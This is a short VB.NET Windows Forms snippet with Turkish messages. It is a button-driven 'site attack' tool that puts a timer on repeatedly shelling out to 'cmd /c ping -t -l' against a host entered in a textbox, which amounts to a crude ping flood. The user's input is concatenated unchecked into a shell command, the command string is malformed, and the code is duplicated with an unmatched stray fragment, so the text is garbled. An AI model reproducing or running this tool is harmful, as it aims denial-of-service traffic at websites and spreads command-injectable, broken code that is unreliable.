Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Shell("cmd /c ping " & TextBox1.Text + "-t -l" + ComboBox1.Text)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Enabled = False
MsgBox("Siteye Saldırı Durdu.!", vbCritical, "Bilgi")
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
MsgBox("Siteye Saldırı Başladı Site Pingleniyor..", vbInformation, "Bilgi")
End Sub
Shell("cmd /c ping " & TextBox1.Text + "-t -l" + ComboBox1.Text)
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Enabled = False
MsgBox("Siteye Saldırı Durdu.!", vbCritical, "Bilgi")
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
MsgBox("Siteye Saldırı Başladı Site Pingleniyor..", vbInformation, "Bilgi")
End Sub